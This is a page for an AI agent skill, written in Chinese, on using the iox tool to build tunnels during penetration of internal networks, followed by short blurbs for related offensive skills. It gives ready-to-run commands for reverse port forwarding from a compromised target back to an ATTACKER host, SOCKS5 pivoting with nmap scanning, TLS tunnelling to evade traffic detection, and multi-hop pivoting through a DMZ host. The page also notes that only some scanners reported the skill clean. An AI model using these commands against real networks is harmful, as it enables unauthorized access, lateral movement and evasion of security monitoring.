skills/tool/iox-proxy/SKILL.md
使用 iox 进行端口转发和内网穿透。当需要把内网端口转发到外网、建立 SOCKS5 隧道、或做流量中转时使用。iox 是单二进制零依赖的端口转发/代理工具,支持正向代理、反向代理、端口映射、SOCKS5 代理,特别适合内网渗透中的流量隧道搭建。比 frp/nps 轻量,比 socat 功能更全。涉及端口转发、内网穿透、SOCKS5 代理、流量中转、隧道搭建的场景使用此技能
npx skillsauth add wgpsec/AboutSecurity iox-proxyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
iox 是一个轻量级端口转发/代理工具——单个二进制文件,零依赖,支持正向/反向代理和 SOCKS5。在内网渗透中用于搭建流量隧道,让攻击机能访问目标内网服务。
项目地址:https://github.com/EddieIvan01/iox
iox 有两个主要模式:
每个模式都支持正向(目标监听)和反向(目标主动连接攻击机)两种连接方式。
在目标机器上运行,把外部访问转到内网:
# 将目标 8888 端口转发到内网 10.0.0.2:3389
iox fwd -l 8888 -r 10.0.0.2:3389
# 攻击机访问 target:8888 就能连到 10.0.0.2:3389 (RDP)
目标无法被直接访问时(有防火墙),让目标主动连接攻击机:
# 攻击机:监听两个端口
iox fwd -l 8888 -l 9999
# 目标机:连接攻击机,同时连接内网目标
iox fwd -r ATTACKER:8888 -r 10.0.0.2:3389
# 攻击机访问 localhost:9999 就能连到内网 10.0.0.2:3389
在目标机器上启动 SOCKS5,攻击机通过目标代理访问内网:
# 目标机:启动 SOCKS5 代理
iox proxy -l 1080
# 攻击机:配置 proxychains
echo "socks5 TARGET 1080" >> /etc/proxychains.conf
proxychains nmap -sT 10.0.0.0/24
# 攻击机:监听等待连接
iox proxy -l 9999
# 目标机:反连攻击机
iox proxy -r ATTACKER:9999
# 攻击机通过 localhost:9999 使用 SOCKS5
proxychains nmap -sT 10.0.0.0/24
# 使用 TLS 加密(避免流量特征检测)
iox fwd -l 8888 -r 10.0.0.2:3389 -k
# 反向也支持
iox proxy -r ATTACKER:9999 -k # 目标
iox proxy -l 9999 -k # 攻击机
# 目标已拿 shell,需要 RDP 到内网 10.0.0.2
# 攻击机
iox fwd -l 33890 -l 8888
# 目标机
iox fwd -r ATTACKER:8888 -r 10.0.0.2:3389
# 攻击机 RDP 连接
rdesktop localhost:33890
# 第一层:已拿 DMZ 主机
iox proxy -l 1080 # DMZ 上开 SOCKS5
# 第二层:通过 DMZ 代理访问内网主机
proxychains iox proxy -l 1081 -r 10.0.0.5 # 连到第二层
需要什么类型的隧道?
├─ 简单端口转发(一个端口映射到另一个)→ iox fwd
├─ SOCKS5 全代理(访问整个内网网段)→ iox proxy
├─ 目标有防火墙限制入站 → 反向模式(-r 代替 -l)
├─ 需要加密 → 加 -k 参数
├─ 需要持久化隧道/Web 管理面板 → frp / nps
└─ 只是临时转一个端口 → socat / ssh -L 也行
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能